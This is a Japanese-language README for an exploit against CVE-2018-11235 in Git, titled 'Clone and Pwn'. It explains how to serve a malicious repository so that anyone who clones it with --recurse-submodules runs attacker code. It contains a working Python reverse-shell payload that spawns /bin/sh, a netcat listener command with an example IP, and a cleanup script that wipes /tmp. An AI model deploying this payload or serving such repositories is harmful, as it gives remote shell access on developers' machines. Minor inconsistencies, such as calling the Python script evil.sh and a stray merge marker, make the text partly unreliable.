
CVE-2018-11235 を悪用する
エクスプロイトタイトル: Clone and Pwn
日付: 2018年6月4日
エクスプロイト作成者: Alejandro Caceres
ベンダーホームページ: https://git-scm.com/
ソフトウェアリンク: https://git-scm.com/downloads
バージョン: Git 2.13.7 以前、2.14.x 系は 2.14.4 以前、2.15.x 系は 2.15.2 以前、2.16.x 系は 2.16.4 以前、2.17.x 系は 2.17.1 以前のバージョンのgitクライアントで任意のコードが実行されます
テスト環境: Linux: Ubuntu, Mint, MacOSX
CVE : CVE-2018-11235
CVE-2018-11235(ここでは clone and pwn と呼びます)は、git のバグを悪用する悪意のある git リポジトリを作成します。
--recurse-submodules フラグを使用してリポジトリをクローンすると、Git 2.13.7 以前、2.14.x 系は 2.14.4 以前、2.15.x 系は 2.15.2 以前、2.16.x 系は 2.16.4 以前、2.17.x 系は 2.17.1 以前のバージョンのgitクライアントで任意のコードが実行されます。
このモジュールを使用するには、インターネットに直接アクセス可能なサーバー(例: AWS、Digital Ocean)に配置し、evil.sh を実行します。以下のようになります。
#!/usr/bin/python
EXTERN_IP="127.0.0.1"
EXTERN_PORT=8080
#reverse shell to IP EXTERN_IP and port EXTERN_PORT
import socket, subprocess, os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((EXTERN_IP, EXTERN_PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
EXTERN_IP と EXTERN_PORT を、リバースシェルを受け取る IP(外部)とポートに設定してください。リバースシェルは次のような方法で受け取れます。
nc -l <EXTERN_IP> EXTERN_PORT 例: nc -l 193.23.23.32 8080
または Metasploit の汎用シェルモジュールを使用します。ユーザーが git clone --recurse-submodules git://<your ip>/repo dest_dir コマンドを実行すると、リバースシェルを受け取ります。
複数回実行する場合(または失敗した後)に問題がある場合は、以下を確認してください。
./clean.sh を実行します。これにより /tmp 内のすべてのデータが削除されることに注意してください。ps aux | grep git でプロセスを確認し、gitdaemon が実行されていないことを確認してください。gitdaemon プロセスはすべて強制終了してください。このコードは @peff の git patch(t/t7415-submodule-names.sh テストファイルを参照)から派生しています。
そのため、このリポジトリは GNU General Public License バージョン 2 のもとで公開されています。
古いバージョンの git 向けの追加修正は @atorralba によるものです(こちらの投稿に詳細があります)。
このスクリプトは https://github.com/Rogdham/CVE-2018-11235 を基にしています。多大なる愛と感謝を込めて。
=======
CVE-2018-11235 を悪用します
作成者: @_hyp3ri0n と @mehaase